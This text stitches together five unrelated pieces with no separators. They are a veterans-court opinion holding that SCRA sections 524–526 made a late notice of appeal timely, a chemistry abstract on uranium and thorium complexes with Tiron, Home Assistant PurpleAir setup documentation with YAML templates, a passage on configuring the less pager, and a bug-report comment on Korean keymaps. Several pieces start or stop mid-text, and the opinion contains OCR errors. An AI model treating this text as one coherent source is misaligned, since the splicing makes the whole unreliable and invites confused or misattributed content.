On May 16, 2011, the appellant was recalled to active duty. Prior to reporting for service, he notified the Kansas City, Missouri, regional office (RO) that he had been ordered to active duty, and he requested that VA suspend his compensation benefits effective May 31, 2011. Although the appellant had an appeal seeking to reopen a claim for disability compensation for bilateral foot disorders pending at the Board, he did not ask the Board to stay proceedings or otherwise provide the Board with an alternative address to which to mail notice of its decision.
While the appellant was stationed in Afghanistan, the Board mailed notice of its October 25, 2011, decision to the appellant’s home address in Missouri. Sometime after the Board mailed its decision, but while the appellant was still on active duty in Afghanistan, his wife informed him that he had received mail from the Board. Based upon the information she relayed to him, the appellant understood that the Board had granted one of his claims, but denied another. The appellant returned from his overseas deployment on May 13, 2012, and shortly thereafter, on June 29, 2012, — eight months after the Board’s decision — the appellant was discharged from active duty. The appellant did not file his NOA with the Court until January 7, 2013, 440 days after notice of mailing of the Board decision and 192 days after he was released from active duty.
The appellant states that for the first few months after returning home, he had anxiety attacks and a difficult time adjusting to civilian life. He also asserts that he had to deal with foot, back, and knee pain related to his service-connected disabilities. Consequently, he spent the first few months at home trying to destress from his service in Afghanistan. He also states that he was not aware until December 2012 that he could appeal the Board’s decision. In December 2012, when he began to sort through the mail that had accumulated during his military service, he found a letter from his veterans service organization representative informing him that he could appeal the Board’s decision to the Court. The appellant states that he promptly sought assistance and filed his NOA.
The appellant has submitted a letter from a psychologist, Dr. Mangold, who interviewed him in July 2013. Dr. Man-gold states that as a result of challenges readjusting to civilian life, including the appellant’s exacerbated and service-connected PTSD-related symptoms, “sorting through mail that had accumulated during his deployment was not something he could have reasonably been expected to do immediately upon his return.” Appellant’s Supplemental Brief (Br.) at Appendix 2. Dr. Mangold also states that there is “considerable medical literature ... which points to reintegration difficulties following deployments” and opines that the appellant’s “inability to immediately resume his civilian responsibilities does not reflect any lack of diligence on the part of the [appellant]; rather, it simply reflects the well documented difficulty veterans can face upon their return from active duty.” Id. at Appendix 2, 4.
II. THE PARTIES’ ARGUMENTS
Because the appellant’s NOA was received more than 120 days after the date on which notice of the Board’s decision was mailed, 38 U.S.C. § 7266(a), the Court ordered the appellant to show cause why his appeal should not be dismissed as untimely, and ordered both parties to provide additional briefing on the SCRA and its applicability in this case. Both parties agree that because the appellant was on active duty when the Board issued its October 25, 2011, decision, pursuant to section 526(a) of the SCRA, the 120-day statutory appeal period was automatically tolled until June 29, 2012, the day he was released from military service. See 50 U.S.C. app. § 526(a).
Recognizing, however, that he did not file his NOA until more than 120 days passed after he was released from military service, the appellant proffers three additional arguments why the Court should accept his NOA as timely filed: (1) SCRA sections 524 and 525 permit the Court to stay the finality of the Board’s decision for purposes of filing an NOA at the Court for up to 90 days after a servicemember’s military service terminates, 50 U.S.C. app. §§ 524, 525; (2) equitable tolling of the appeal period is warranted on the grounds that “extraordinary circumstances” and difficulties readjusting to civilian life, including the appellant’s exacerbated PTSD-related symptoms, precluded filing within 120 days of his release from active duty military service, see Barrett v. Principi, 363 F.3d 1316, 1321 (Fed.Cir.2004) (mental illness rendering one incapable of handling his own affairs); McCreary v. Nicholson, 19 Vet.App. 324 (2005) (extraordinary circumstances), adhered to on reconsideration by 20 Vet.App. 86 (2006); and (3) VA violated the appellant’s right to due process because the Board failed to provide him with notice in a “manner reasonably calculated [ ] under all the circumstances” to apprise him of the Board decision and his right to judicial review of that decision, see Mullane v. Cent. Hanover Bank & Trust Co., 339 U.S. 306, 314, 70 S.Ct. 652, 94 L.Ed. 865 (1950).
In response, the Secretary asserts that (1) SCRA sections 524 and 525 are not applicable and the Court lacks jurisdiction to stay Board proceedings; (2) the appellant has not demonstrated entitlement to equitable tolling under the standards established in Barrett or McCreary, both supra, and (3) the appellant’s due process rights were not violated because the Board mailed notice of its decision to the appellant’s address of record, the appellant was made aware of the decision, and the SCRA automatically tolled the 120-day appeal period during the appellant’s period of active duty military service.
III. ANALYSIS
Final Board decisions will be reviewed by the Court when an NOA is filed with the Court within 120 days after the date on which notice of the decision is mailed. 38 U.S.C. § 7266(a). Following the U.S. Supreme Court’s decision in Henderson v. Shinseki — U.S. -, 131 S.Ct. 1197, 1206, 179 L.Ed.2d 159 (2011), which held that the 120-day limit to file an NOA pursuant to section 7266(a) — although an important procedural rule — is not jurisdictional, this Court determined that review of adverse Board decisions can be obtained when an NOA is filed late, if the appellant demonstrates that equitable tolling is warranted. Bove v. Shinseki, 25 Vet.App. 136 (2011). In this case, the Court is asked to consider the applicability of the SCRA to proceedings at this Court and to what extent the time to file an NOA at the Court may be tolled when the Board issues an adverse decision during a servicemem-ber’s active military service.
A. SCRA
On December 19, 2003, Congress enacted the SCRA as a recodification of the Soldiers’ and Sailors’ Civil Relief Act of 1940. The SCRA, which is designed to strengthen national security by allowing servicemembers “to devote their entire energy to the defense needs of the Nation,” provides a wide range of protections for the civil rights of servicemembers on active duty in the U.S. military including “the temporary suspension of judicial and administrative proceedings.” 50 U.S.C. app. § 502. In interpreting the preceding Act, the U.S. Supreme Court held that the “Act is always to be liberally construed to protect those who have been obliged to drop their own affairs to take up the burdens of the nation.” Boone v. Lightner, 319 U.S. 561, 575, 63 S.Ct. 1223, 87 L.Ed. 1587 (1943); see also LeMaistre v. Leffers, 333 U.S. 1, 6, 68 S.Ct. 371, 92 L.Ed. 429 (1948) (“[T]he Act must be read with an eye friendly to those who dropped their affairs to answer their country’s call.”).
The SCRA is wide reaching, applying in all United States jurisdictions, including all States, the District of Columbia, and all territories subject to the jurisdiction of the United States. 50 U.S.C. app. § 512(a). It applies to “any judicial or administrative proceeding commenced in any court or agency in any jurisdiction subject to th[e] Act,” except criminal proceedings. 50 U.S.C. app. § 512(b). The plain language of the statute generally evidences Congress’s intent for broad application of the SCRA. See id. Based on the plain language of the Act and recognizing Congress’s longstanding solicitude for veterans, the Court holds that the SCRA generally applies to proceedings at the Court. See generally Henderson, 131 S.Ct. at 1205 (noting that Congress’s solicitude for veterans is longstanding and “plainly reflected in the [Veterans’ Judicial Review Act (VJRA)], as well as in subsequent laws that ‘place a thumb on the scale in the veteran’s favor in the course of administrative and judicial review of VA decisions’” (quoting Shinseki v. Sanders, 556 U.S. 396, 416, 129 S.Ct. 1696, 173 L.Ed.2d 532 (2009) (Souter, J., dissenting))).
In the case of a servicemember who is a member of the Army, the SCRA defines “military service” as “active duty” as defined in section 101(d)(1) of title 10, United States Code. 50 U.S.C. app. § 511(2). Section 101(d) of title 10 in turn defines “active duty” to include “full-time duty in the active military service of the United States.” 10 U.S.C. § 101(d). Finally, section 511(3) defines “period of military service,” as “the period beginning on the date on which a servicemember enters military service and ending on the date on which the servicemember is released from military service or dies while in military service.” 50 U.S.C. app. § 511(3).
i. 50 U.S.C. app. § 526— Tolling Provision
The tolling provision of the SCRA, entitled “Statute of limitations,” states: “The period of a servicemember’s military service may not be included in computing any period limited by law, regulation, or order for the bringing of any action or proceeding in a court, ... by or against the ser-vicemember. ...” 50 U.S.C. app. § 526(a).
As noted above, the parties agree that section 526(a) tolled the appellant’s time to file an NOA during his military service. Although the parties do not dispute this matter, the Court must ensure that the statutory tolling provision applies to 38 U.S.C. § 7266 and, if so, whether, under the facts of this case, the appellant satisfies the statute’s requirements to trigger its application.
The heading of section 526 suggests that the section’s applicability may be limited to statutes of limitations. A “statute of limitations” is a
statute establishing a time limit for suing in a civil case, based on the date when the claim accrued.... The purpose of such a statute is to require diligent prosecution of known claims, thereby providing finality and predictability in legal affairs and ensuring that claims will be resolved while evidence is reasonably available and fresh.
Blaok’s Law DictionaRY at 1422 (7th ed.1999).
The 120-day period for filing an NOA at the Court is not a statute of limitations. It is, however, an “important procedural rule” aimed at promoting the “orderly progress of litigation by requiring that the parties take certain procedural steps at certain specified times.” Henderson, 131 S.Ct. at 1203, 1206. Unlike ordinary civil litigation, where a dismissal for an untimely filing ordinarily puts an end to the matter, the veteran-friendly claims adjudication within VA, in certain circumstances, provides avenues for a claimant to adjudicate otherwise final matters. See Bove, 25 Vet.App. at 142-43. Thus, after Henderson held that this Court’s 120-day rule was not intended to have jurisdictional attributes, 131 S.Ct. at 1204, this Court concluded that it is “the role of Congress and this Court ... to enforce or adjust the ‘important procedural rule’ prescribed by Congress in section 7266.” Bove, 25 Vet.App. at 143 (quoting Henderson, 131 S.Ct. at 1206).
With these considerations in mind, to determine whether Congress intended to limit the tolling provision to statutes of limitations, the Court will turn to the substance of section 526. Section 526(a) broadly states that “[t]he period of a ser-vicemember’s military service may not be included in computing any period limited by law ... for the bringing of any action or proceeding.” 50 U.S.C. app. § 526(a). Notwithstanding the section’s heading, there is nothing in the plain language of the statute that suggests Congress intended to limit its applicability to statutes of limitations. See Pa. Dep’t of Corr. v. Yeskey, 524 U.S. 206, 212, 118 S.Ct. 1952, 141 L.Ed.2d 215 (1998) (“ ‘[T]he title of a statute ... cannot limit the plain meaning of the text. For interpretive purposes, [it is] of use only when [it] shed[s] light on some ambiguous word or phrase.” (quoting Bhd. of R.R. Trainmen v. Balt. & Ohio R.R. Co., 331 U.S. 519, 528-29, 67 S.Ct. 1387, 91 L.Ed. 1646 (1947))); Gardner v. Derwinski, 1 Vet.App. 584, 586 (1991) (“Determining a statute’s plain meaning requires examining the specific language at issue and the overall structure of the statute.” (citing Bethesda Hosp. Ass’n v. Bowen, 485 U.S. 399, 403-05, 108 S.Ct. 1255, 99 L.Ed.2d 460 (1988))), aff'd sub nom. Gardner v. Brown, 5 F.3d 1456 (Fed.Cir.1993), aff'd, 513 U.S. 115, 115 S.Ct. 552, 130 L.Ed.2d 462 (1994).
First, the plain language of the statute refers to “any period limited by law, regulation, or order,” for the “bringing of any action or proceeding.” 50 U.S.C. app. § 526(a) (emphasis added). Second, the stated purpose of the SCRA is to provide for the “temporary suspension of judicial and administrative proceedings ... that may adversely affect the civil rights of servieemembers during their military service,” 50 U.S.C. app. § 502(2). Applying section 526’s tolling provision to the 120-day period in section 7266 would fulfill that purpose by protecting a servieemember’s right to seek judicial review of an adverse Board decision. Finally, the U.S. Supreme Court examined nearly identical language in section 525 of the Soldiers’ and Sailors’ Civil Relief Act of 1940, and found “[t]he statutory command ... unambiguous, unequivocal, and unlimited.” Conroy v. Aniskoff, 507 U.S. 511, 514, 113 S.Ct. 1562, 123 L.Ed.2d 229 (1993).
Accordingly, for the reasons stated above, the Court holds that a servicemem-ber’s period of military service, as defined in the SCRA, 50 U.S.C. app. § 511, may not be included in computing the 120-day period in which a servicemember adversely affected by a Board decision must file an NOA at the Court. See generally Chisolm v. United States, 298 Fed.Appx. 957 (Fed.Cir.2008) (time to bring suit on claim for military back pay, which accrued during service, did not begin to run until the servicemember was released from active duty); see also Cronin v. United States, 363 Fed.Appx. 29 (Fed.Cir.2010) (time to appeal Board for Correction of Naval Records decision tolled by period of active duty); Freeman v. United States, 98 Fed.Cl. 360, 371 (2011) (section 526 of the SCRA excluded active duty service in Iraq from calculation of limitations period). But see Turner v. A. Passmore & Sons, Inc., 341 Fed.Appx. 363, 370 (10th Cir.2009) (“It is debatable whether [section 526] even applies under the circumstances of this case, since [the cross-appellant] is not seeking to toll a statute of limitation but a deadline in a pending action that was timely filed.”). The Court further holds that section 526 does not require a service-member to demonstrate that his military service prejudiced his ability to act in order to qualify for the statutory suspension of time. See Conroy, 507 U.S. at 515, 113 S.Ct. 1562 (observing that because several provisions of the statute condition the protection offered on a showing that military service adversely affected the ability to assert or protect a legal right, Congress’s omission of any such requirement in this section was deliberate).
ii Application of Section 526
There is no dispute, and the Court so holds, that the appellant’s period of military service on active duty in the U.S. Army from May 16, 2011, to June 29, 2012, satisfies the SCRA’s definition of “military service.” 50 U.S.C. app. § 511(2). Thus, applying section 526 to the facts of this case, the Court holds the appellant’s time to file an NOA from the Board’s October 25, 2011, decision was tolled until June 29, 2012, the date he was released from active duty. See Diamond v. United States, 344 F.2d 703, 707 (Ct.C1.1965) (holding that tolling under similar provision in the Soldiers’ and Sailors’ Civil Relief Act ended upon release from active duty). Accordingly, the appellant had 120 days from June 29, 2012, to file his NOA. In other words, to be timely, his NOA was due on October 29, 2012.
The appellant’s NOA, however, was not received at the Court until January 7, 2013. Thus, absent any other statutory or equitable considerations, his NOA would be untimely and his appeal would be dismissed. Therefore, the Court must consider whether any of the appellant’s additional arguments warrant extending his time to file an NOA more than 120 days after he was released from military service. In recognition of the difficulties that a servicemember faces upon returning from deployment to a combat zone, and for the reasons stated below, the Court holds, under the circumstances of this case, where the Board issued an adverse decision during the appellant’s deployment and the appellant was released from active duty shortly after completion of that deployment, commencement of the appeal period shall be stayed for an additional 90 days following the appellant’s release from military service.
in. Staying Commencement of the Judicial Appeal Period
The decision to grant a stay under the SCRA is within the sound discretion of the court. See Boone, 319 U.S. at 568, 63 S.Ct. 1223 (stating that the legislative history of the SCRA’s predecessor statute showed that judicial discretion, rather than “rigid and undiscriminating suspension of civil proceedings^] was the very heart of the policy of the Act”). “A stay of an action ... [or] proceeding ... made pursuant to the provisions of [the SCRA] ... by a court may be ordered for the period of military service and 90 days thereafter, or for any part of that period.” 50 U.S.C. app. § 525. Pursuant to section 524 of the SCRA, a court may on its own motion, and must upon application by a servicemem-ber, stay the execution of any judgment or order entered against a servicemember if the Court determines that the service-member is “materially affected by reason of military service in complying with a court judgment or order.” 50 U.S.C. app. § 524(a)(1). Section 524 applies to an action or proceeding “commenced in a court [or administrative agency] against a ser-vicemember before or during the period of the servicemember’s military service or within 90 days after such service terminates.” Id.
The appellant seeks to delay when the clock began to run on his time to file an NOA by relying on SCRA sections 524 and 525. He argues that, liberally construed, section 524, which grants a court the authority to “stay the execution of any judgment,” contemplates an order to stay the finality of a Board decision for the purpose of filing an NOA because (1) an adverse Board decision places a claimant in a defensive posture analogous to that of a ser-vicemember who has an action commenced against him during military service or within 90 days after such service terminates, and (2) “judgment” may include an adverse Board decision because the SCRA broadly defines “judgment” as “any judgment, decree, order, or ruling, final or temporary.” 50 U.S.C. app. § 511(9). In response, the Secretary agrees that “judgment” may include a final Board decision, but he argues that sections 524 and 525 apply only to ongoing proceedings. Thus, the Secretary asserts that the appellant’s request presumes the Court’s jurisdiction so that it may stay a proceeding over which it lacks jurisdiction, namely: Board proceedings. The Court disagrees.
Because an adverse Board decision will become final and binding if- an NOA is not timely filed at the Court, the Court agrees with the appellant that the Board’s issuance of an adverse decision during military service is analogous to having an action commenced against a servicemember. The issuance of an adverse decision requires the servicemember to take some action to protect his legal rights, or otherwise be bound by the Board’s determination. Furthermore, because the Court has exclusive jurisdiction to review decisions of the Board, 38 U.S.C. § 7252(a), the Court has jurisdiction to determine whether the time to file an appeal at the Court should be stayed because a servicemember’s military service materially affects his ability to act timely upon the Board’s adverse decision. See 50 U.S.C. app. § 512(c) (“When under this Act ... any application is required to be made to a court in which no proceeding has already been commenced with respect to the matter, such application may be made to any court which would otherwise have jurisdiction over the matter.”).
In this case, the appellant asserts that he had a difficult time adjusting to civilian life after active duty in Afghanistan and that he was unable to immediately resume all day-to-day activities. As a result, he did not immediately review the mail that had accumulated during the 13 months that he had been recalled to active duty or take action to preserve his rights to seek review of the Board’s adverse decision. The uncontroverted evidence shows that when the appellant was recalled to active duty, he had been rated 30% disabled as a result of service-connected PTSD with dysthymia, and that in June 2012, after he returned home from Afghanistan and was released from military service, he experienced anxiety attacks, difficulty sleeping, persisting anger, and hypervigilance. As a result of the challenges the appellant faced readjusting to civilian life, Dr. Mangold, the appellant’s examining psychologist, opines that “sorting through mail that had accumulated during the appellant’s deployment was not something he could have reasonably been expected to do immediately upon his return.” Appellant’s Supplemental Br. at Appendix 2, 4. He asserts that this inability “does not reflect any lack of diligence on the part of the [appellant]; rather, it simply reflects the well documented difficulty veterans can face upon their return from active duty.” Id. at Appendix 4.
In support of his opinion, Dr. Mangold notes that “there is considerable medical literature (as well as overwhelming common sense) which points to reintegration difficulties following deployments.” Id. at Appendix 2. For example, a 2012 Department of Health and Human Services publication noted that
[although the majority of veterans who return from Iraq and Afghanistan do not have a behavioral health condition and have not experienced a traumatic brain injury, all veterans experience a period of readjustment as they reintegrate into life with family, friends, and community. The veterans’ juggling of military and family responsibilities, reintegration into civilian life in the United States after living in unfamiliar settings, and processing exposure to combat may contribute to problems for veterans themselves, as well as their spouses and family members. Behaviors needed to survive in a war zone, such as maintaining a constant state of alertness, may initially translate into troublesome behaviors in civilian life, such as feeling edgy or jumpy and being easily startled.

Further, the VA guide for military personnel recognizes that “[e]ach deployment is ... different from the last” and that the adjustment to life at home “may actually become more difficult” with each deployment if the servicemember has “unresolved problems from previous separations and reunions.” VA, Returning from the War Zone, A Guide for Military Personnel 1 (2010) (retrieved from http://www. ptsd.va.gov/public/reintegration/guide-pdfi SMGuide.pdf). Although “[m]ost service members will successfully readjust with few major problems,” VA recognizes that “[i]t may take a few months” to do so and that the veteran, his family, and friends “need to be prepared for common stress reactions.” Id. at 2; see also id. (stating that “it may take as long as a year to feel you are living a new-normal life again”); id. at 8 (noting that “[rjeadjustment to civilian life takes time” and advising returning veterans to “[t]ake your time adding responsibilities and activities back into your life”).
Accordingly, recognizing the difficulties faced by servicemembers returning from deployment to a combat zone, where, as here, the Board issued its adverse decision during the appellant’s combat deployment, the appellant was released from military service shortly after returning from that deployment, and the evidence establishes that the appellant had difficulty readjusting to civilian life, the Court finds that the appellant’s deployment and military service materially affected his ability to protect his legal rights under section 524. As a result, the Court holds, pursuant to section 525, that commencement of the appeal period was stayed for 90 days after the appellant’s military service terminated.
The Court’s decision, which applies the provisions of sections 524 and 525 to stay commencement of the judicial appeal period for 90 days after a servicemember’s release from military service when the evidence establishes that his military service materially affected his ability to protect his legal rights, is consistent with the liberal construction afforded to the SCRA, see Boone, supra, based on Congress’s desire to protect servicemembers’ civil rights by providing for the “temporary suspension of judicial and administrative proceedings,” 50 U.S.C. app. § 502(2), Henderson’s recognition that the 120-day limitations period prescribed by section 7266 was enacted as part of the VJRA, legislation that was decidedly favorable to veterans, 131 S.Ct. at 1206, and the Court’s authority “to enforce or adjust” the ‘important procedural rule’ ” as appropriate, Bove, 25 Vet.App. at 143 (quoting Henderson, 131 S.Ct. at 1206).
Based on the foregoing, the Court holds that it has the authority to apply sections 524 and 525 of the SCRA so that the finality of the Board’s October 25, 2011, decision, for purposes of filing an appeal with the Court, was stayed for 90 days following the appellant’s release from military service, until September 27, 2012. As a result, his NOA, received on January 7, 2013, was timely and the appellant may proceed to have his appeal heard on the merits.
B. Additional Arguments
Because the Court holds that the appellant’s NOA was timely filed under the provisions of the SCRA, the Court does not reach the question whether the appellant’s difficulty in readjusting to civilian life meets the high burden pronounced in Barrett or whether equitable tolling is otherwise warranted based on extraordinary circumstances. See Claiborne v. Nicholson, 19 Vet.App. 181, 187 (2005) (noting that the Barrett standard is a high burden). Similarly, where as here, there are nonconstitutional grounds to find that the appellant timely filed his NOA and that his appeal may be heard on the merits, it is unnecessary for the Court to address the appellant’s argument that the Board failed to provide him constitutionally sufficient notice of its decision. See Bucklinger v. Brown, 5 Vet.App. 435, 440-41 (1993) (“It is ‘[a] fundamental and long-standing principle of judicial restraint ... that courts avoid reaching constitutional questions in advance of the necessity of deciding them.’ ” (quoting Lyng v. Nw. Indian Cemetery Protective Ass’n, 485 U.S. 439, 445, 108 S.Ct. 1319, 99 L.Ed.2d 534 (1988))).
IV. CONCLUSION
Accordingly, pursuant to the Court’s holdings and finding above, the appellant’s January 7, 2013, NOA was timely filed with the Court.
On consideration of the foregoing, it is
ORDERED that both parties should proceed in accordance with the Court’s Rules of Practice and Procedure.
. Oral argument was held on October 30, 2013, at Harvard Law School in Cambridge, Massachusetts. The Court extends its appreciation to the law school for its hospitality. The Court also commends counsel for both parties, including the Legal Services Center of Harvard Law School, whose briefing and argument were a tremendous value to the Court as we endeavored to address some of the protections afforded by the SCRA and their applicability to proceedings commenced at the Court.
. The Court notes, however, that the SCRA expressly allows a servicemember to waive "any of the rights and protections provided by this Act.” 50 U.S.C. app. § 517(a). Thus, a servicemember is not precluded from commencing an appeal at the Court during military service.
. Because the 120th day, October 27, 2012, was a Saturday, the Court's rules rendered the NOA due on Monday, October 29, 2012. See U.S. Vet.App. R. 26(a).
. The SCRA defines "court” as "a court or an administrative agency of the United States or of any State (including any political subdivision of a State), whether or not a court or administrative agency of record.” 50 U.S.C. app. § 511(5).
. The Secretary erroneously relies on Ribaudo v. Nicholson, 20 Vet.App. 552 (2007) for the proposition that the Court lacks jurisdiction to stay the finality of the Board's decision for purposes of filing an NOA with the Court. Ribaudo addressed the Secretary's lack of authority to unilaterally stay the processing of a class of appeals before the Board when the Secretary disagrees with a decision of the Court and the decision is pending appeal at the U.S. Court of Appeals for the Federal Circuit (Federal Circuit). See id. Based on those facts, the Court adopted the principle that underlies Rule 8(a) of the Federal Rules of Appellate Procedure, namely " ‘that the immediately subordinate tribunal has jurisdiction to act on a motion for a stay’ even in a case where a Notice of Appeal has been filed seeking review in the Federal Circuit.” Id. at 560 (quoting In re Bailey, 11 Vet.App. 348, 349 (1998) (Nebeker, C.J., dissenting)). Here, guided by the principles underlying the SCRA and acting within our authority "to enforce or adjust the 'important procedural rule' prescribed by Congress in section 7266,” Bove, 25 Vet.App. at 143 (quoting Henderson, 131 S.Ct. at 1206), the Court has jurisdiction to address whether the time to file an appeal with the Court should be stayed because of the material effect a servicemember’s military service may have on his ability to proceed timely.
. In recognition of the growing number of veterans, reservists, and national guardsman recalled to active duty, the Secretary may want to consider whether the Board’s standard notice of appellate rights should be amended to include language informing ser-vicemembers of the protections afforded by the SCRA. In particular, the notice might include language informing servicemembers that a period of military service shall not be included in computing the time to file an NOA from an adverse Board decision, and that, in certain circumstances, the servicemember may be entitled to an additional 90 days after service terminates before the appeal period begins to run if the military service materially affects his or her ability to file an NOA.

Sylwester, E. R. Allen, P. G. Dharmawardana, U. R. Sutton, M. Structural Studies of Uranium and Thorium Complexes with 4,5-Dihydroxy-3,5-benzenesdisulfonate (Tiron) at Low and Neutral pH by X-ray Absorption Spectroscopy We have determined the structure of uranyl, UO<sub>2</sub><sup>2+</sup>, and Th<sup>4+</sup> complexes formed in aqueous solution with 4,5-dihydroxy-3,5-benzenedisulfonate (Tiron) as function of pH and concentration. At equimolar concentrations of 0.05 M UO<sub>2</sub><sup>2+</sup> and Tiron, the predominant species was found to be aqueous uranyl at pH = 2.0. At pH = 6.0, the formation of a 3:3 UO<sub>2</sub><sup>2+</sup>:Tiron trimer (proposed in earlier studies) was observed. In this structure, bidentate catecholate complexation to Tiron as well as oxygen bridging between uranyl units is detected. Th<sup>4+</sup> structural changes were observed both as a function of pH and Th:L (L = Tiron) ratio. At Th:L = 1:1 and pH = 1.4, a monomeric complex is observed with each Th center complexing monodentate to ∼2 sulfonate functional groups. At pH 4.0 similar sulfonate ligation is observed along with oligomer formation. At pH 6.0 thorium hydrolysis products are detected, with little evidence for inner-sphere Tiron coordination. When the Th:L is changed to 1:2 at pH = 6.0, a stable oligomeric complex is formed that dominates the speciation for Th:L ratios up to 1:5. This complex is characterized by bidentate catechol and monodentate sulfonate ligation to Tiron along with oxygen bridging between Th<sup>4+</sup> atoms and is consistent with the formation of the 2:3 Th:L polymeric species proposed from earlier work. At a Th:L ratio of 1:10, Th<sup>4+</sup> complexation is dominated by bidentate catechol ligation and the formation of a monomeric Th(Tiron)<i><sub>x</sub></i> species, where <i>x</i> ≥ 2. bidentate catechol ligation;Tiron trimer;sulfonate ligation;monodentate sulfonate ligation;equimolar concentrations;pH 6.0 thorium hydrolysis products;Structural Studies;bidentate catechol;bidentate catecholate complexation;Th center complexing monodentate;UO;Thorium Complexes;uranyl units;Neutral pH;oligomer formation;pH 4.0 2001-05-11

PurpleAir
PurpleAir makes sensors that measure hyper-local air quality data and share it with the public.
Configuration
To add the PurpleAir integration to your Home Assistant instance, use this My button:
Options
Options for PurpleAir can be set via the user interface, by taking the following steps:
• Browse to your Home Assistant instance.
• Go to Settings > Devices & Services.
• If multiple instances of PurpleAir are configured, choose the instance you want to configure.
• Select the integration, then select Configure.
Add Sensor
Track an additional sensor.
Remove Sensor
Untrack a sensor.
Settings
Configure additional settings (e.g., show/hide sensor icons on the map).
Creating an API key
To add this integration, you need a (free) Purple Air API Key. A new account currently comes with 1 million free points. After that, you need to buy additional points to continue to use the API. The current plugin uses ~30K points/day. The 1 million points last about a month. A lack of points will trigger API errors until you buy more points.
Detailed instructions can be found here but in summary you:
• Create an account at https://develop.purpleair.com/ (which uses Single Sign-On through a Google account).
• On the ‘keys’ page press the “plus” button to create an API key. Leave the defaults of Read and Enabled.
• Go to the ‘projects’ page and select the edit (pencil) button on the listed Project. Add points (for example 1,000,000), then select Update.
• Go back to the ‘keys’ page and copy the API key. It will be a value like XXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXXX.
• Paste that API key into the API Key field when creating the integration in Home Assistant.
Note that if you are using your own sensor, it will need to be set to Public to be visible.
Creating an AQI Rating from Raw Particulate Data
The PurpleAir API does not provide AQI data; therefore, the integration does not create an AQI sensor automatically. However, sensors providing raw particulate data can be used to create a human-friendly AQI rating sensor.
The guidelines within this documentation constitute estimates and are intended to help informed decision making. They should not replace analysis, advice or diagnosis from a trained medical professional.
Understanding EPA Guidelines
The United States Environmental Protection Agency (EPA) provides guidelines on correlating the concentration of pollution over a time period to overall “healthiness.” For example, a PM2.5 concentration between 0.0 and 12.0 µg/m³ over a 24-hour period equates to a “Good” AQI rating.
Therefore, a common strategy would be to use the guidelines for the particulate types provided by the PurpleAir integration and “merge” them into a single AQI rating.
Creating Statistics Sensors
With the EPA guidelines in hand, the next step is to create statistics sensors for each particulate sensor you are interested. This example uses PM2.5 and PM10.0 over a 24-hour period:
The entity IDs provided below are simulated; make sure that you use entity IDs that actually exist in your Home Assistant instance.
sensor:
- platform: statistics
name: "Average Outdoor PM2.5 (24h)"
entity_id: sensor.sensor_pm2_5_mass_concentration
state_characteristic: mean
max_age:
hours: 24
- platform: statistics
name: "Average Outdoor PM10.0 (24h)"
entity_id: sensor.sensor_pm10_0_mass_concentration
state_characteristic: mean
max_age:
hours: 24
Creating the AQI Rating Sensor
The statistics sensors can then be combined into a template sensor. Note that this example takes a conservative approach: the “worse” of the two values (PM2.5 or PM10.0) is used to determine the overall rating.
Reminder that the breakpoints used below can be determined from the aforementioned EPA guidelines.
template:
- sensor:
- name: "Local Outdoor Air Quality"
state: >
{% set pm2_5_avg = states("sensor.average_outdoor_pm2_5_24h") | int %}
{% if 0 <= pm2_5_avg <= 12.0 %}
{% set pm2_5_rating = 0 %}
{% elif 12.0 < pm2_5_avg <= 35.4 %}
{% set pm2_5_rating = 1 %}
{% elif 35.4 < pm2_5_avg <= 55.4 %}
{% set pm2_5_rating = 2 %}
{% elif 55.4 < pm2_5_avg <= 150.4 %}
{% set pm2_5_rating = 3 %}
{% elif 150.4 < pm2_5_avg <= 250.4 %}
{% set pm2_5_rating = 4 %}
{% else %}
{% set pm2_5_rating = 5 %}
{% endif %}
{% set pm10_0_avg = states("sensor.average_outdoor_pm10_0_24h") | int %}
{% if 0 <= pm10_0_avg <= 54.0 %}
{% set pm10_0_rating = 0 %}
{% elif 54.0 < pm10_0_avg <= 154.0 %}
{% set pm10_0_rating = 1 %}
{% elif 154.0 < pm10_0_avg <= 254.0 %}
{% set pm10_0_rating = 2 %}
{% elif 254.0 < pm10_0_avg <= 354.0 %}
{% set pm10_0_rating = 3 %}
{% elif 354.0 < pm10_0_avg <= 424.0 %}
{% set pm10_0_rating = 4 %}
{% else %}
{% set pm10_0_rating = 5 %}
{% endif %}
{% set rating = [pm2_5_rating, pm10_0_rating] | max %}
{% if rating == 0 %}

Doing More with less
"less is more!”
Problem
You’d like to take better advantage of the features of the less pager.
Solution
Read the less manpage and use the $LESS variable with ~/.lessfilter and ~/.lesspipe files.
less takes options from the $LESS variable, so rather than creating an alias with your favorite options, put them in that variable. It takes both long and short options, and any command-line options will override the variable. We recommend using the long options in the $LESS variable since they are easy to read. For example:
export LESS="--LONG-PROMPT --LINE-NUMBERS --ignore-case --QUIET"
But that is just the beginning. less is expandable via input preprocessors, which are simply programs or scripts that pre-process the file that less is about to display. This is handled by setting the $LESSOPEN and $LESSCLOSE environment variables appropriately.
You could build your own, but save yourself some time and look into Wolfgang Friebel’s lesspipe.sh available at http://www-zeuthen.desy.de/~friebel/unix/lesspipe.html (but see the discussion below first). The script works by setting and exporting the $LESSOPEN environment variable when run by itself:
$ ./lesspipe.sh
LESSOPEN="|./lesspipe.sh %s"
export LESSOPEN
So you simply run it in an eval statement, like eval $(/path/to/lessfilter.sh) or eval`/path/to/lessfilter.sh`, and then use less as usual. The list of supported formats for version 1.53 is:
gzip, compress, bzip2, zip, rar, tar, nroff, ar archive, pdf, ps, dvi, shared library, executable, ...

Can you tell me what the correct XFree86 keymap for Korean keyboards is?
I'm cc'ing mharris on this in case he knows.
Comment 4 Dimitri Papadopoulos 2003-12-15 14:03:56 EST
Hi,
I'm not very proficient in X11 internals, I just need to be able to
set up a Korean keyboard for my wife, on a computer that's otherwise
using an English, French or Greek system-wide default locale.
Actually I think the XFree86 keymap for Korean keyboards is already
part of Fedora:
/usr/share/xmodmap/xmodmap.kr
The main difference between my Korean keyboard and a US keyboard are
the Hangul key (labelled Han/Yong) for switching between Korean and
English alphabet and the Hangul_Hanja key (labelled Hanja) for
switching between Korean and Chinese alphabet.
When in Korean mode, I understand a XIM is needed for input, as the
basic units of Korean text are syllabes (aka. jamos, made of two or
three letters). Syllabes are entered by typing each letter
sequentially, and they change their appearance while being typed.
However I'm not messing with XIM yet, I just need to declare somewhere
I'm using a Korean keyboard.
Some background information on Korean from:
http://x.holovko.ru/Xlib/chap13.html
Korean also has a phonetic symbol set, called Hangul.
Each of the 24 basic phonetic symbols (14 consonants
and 10 vowels) represents a specific sound. A syllable
is composed of two or three parts: the initial consonants,
the vowels, and the optional last consonants. With Hangul,
syllables can be treated as the basic units on which text
